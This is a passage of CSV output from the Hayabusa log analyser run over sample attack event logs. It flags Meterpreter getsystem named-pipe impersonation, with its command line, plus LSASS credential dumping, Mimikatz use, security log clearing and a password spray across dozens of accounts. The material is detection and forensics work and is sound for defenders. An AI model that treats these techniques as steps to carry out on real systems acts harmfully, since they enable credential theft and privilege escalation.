Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:46:15.215 +09:00,IEWIN7,1,informational,Process Creation,Command: cmd.exe /c echo msdhch > \\.\pipe\msdhch : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_meterpreter_getsystem_NamedPipeImpersonation.evtx +2019-04-30 16:46:15.215 +09:00,IEWIN7,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_meterpreter_getsystem_NamedPipeImpersonation.evtx +2019-04-30 16:46:15.215 +09:00,IEWIN7,1,high,Meterpreter or Cobalt Strike Getsystem Service Start,,rules/sigma/process_creation/win_meterpreter_or_cobaltstrike_getsystem_service_start.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_meterpreter_getsystem_NamedPipeImpersonation.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,8,high,Password Dumper Remote Thread in LSASS,,rules/sigma/create_remote_thread/sysmon_password_dumper_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,8,high,Password Dumper Remote Thread in LSASS,,rules/sigma/create_remote_thread/sysmon_password_dumper_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,high,Credentials Dumping Tools Accessing LSASS Memory,,rules/sigma/process_access/sysmon_cred_dump_lsass_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-05-01 03:08:22.618 +09:00,Sec504Student,1102,high,Security log was cleared,User: Sec504,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,medium,Unknown process used a high privilege,Process: C:\Tools\mimikatz\mimikatz.exe : User: Sec504 : LogonID: 0x1e3dd,rules/hayabusa/default/alerts/Security/4673_Multiple_UnknownProcessUsedHighPrivilege.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,medium,Unknown process used a high privilege,Process: C:\Tools\mimikatz\mimikatz.exe : User: Sec504 : LogonID: 0x1e3dd,rules/hayabusa/default/alerts/Security/4673_Multiple_UnknownProcessUsedHighPrivilege.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,medium,Unknown process used a high privilege,Process: C:\Tools\mimikatz\mimikatz.exe : User: Sec504 : LogonID: 0x1e3dd,rules/hayabusa/default/alerts/Security/4673_Multiple_UnknownProcessUsedHighPrivilege.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,medium,Unknown process used a high privilege,Process: C:\Tools\mimikatz\mimikatz.exe : User: Sec504 : LogonID: 0x1e3dd,rules/hayabusa/default/alerts/Security/4673_Multiple_UnknownProcessUsedHighPrivilege.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 04:27:00.297 +09:00,DESKTOP-JR78RLP,1102,high,Security log was cleared,User: jwrig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:02.847 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:02.847 +09:00,-,-,medium,Password Spray,[condition] count(TargetUserName) by IpAddress >= 5 in timeframe [result] count:41 TargetUserName:thessman/edygert/rbowes/jwright/celgee/ebooth/cmoody/tbennett/melliott/jlake/cfleener/psmith/drook/dpendolino/Administrator/wstrzelec/mdouglas/cspizor/cragoso/bhostetler/jleytevidal/sarmstrong/baker/gsalinas/lschifano/cdavis/jorchilles/bking/ssims/zmathis/econrad/smisenar/eskoudis/mtoussain/dmashburn/kperryman/jkulikowski/bgreenwood/lpesce/sanson/bgalbraith IpAddress:172.16.144.128 timeframe:5m,rules/hayabusa/default/alerts/Security/4648_BruteForce_PasswordSprayDetect.yml,- +2019-05-01 04:27:03.925 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:05.020 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:06.085 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:07.171 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:08.254 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:09.323 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:10.377 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:11.465 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:12.549 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:13.611 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:14.687 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:15.750 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:16.841 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:17.922 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:19.035 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:20.097 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:21.156 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:22.222 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:23.295 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:24.342 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:25.404 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:26.504 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:27.583 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:28.654 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:29.712 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:30.787 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:31.861 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:32.955 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:34.020 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:35.081 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:36.151 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:37.238 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:38.310 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:39.393 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:40.457 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:41.553 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:42.613 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:43.686 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:44.738 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:45.818 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:46.896 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:47.953 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:49.019 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:50.082 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:51.156 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:52.214 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:53.285 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:54.354 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:55.438 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:56.513 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:57.578 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:58.661 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:59.721 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:00.795 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:01.865 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:28:02.941 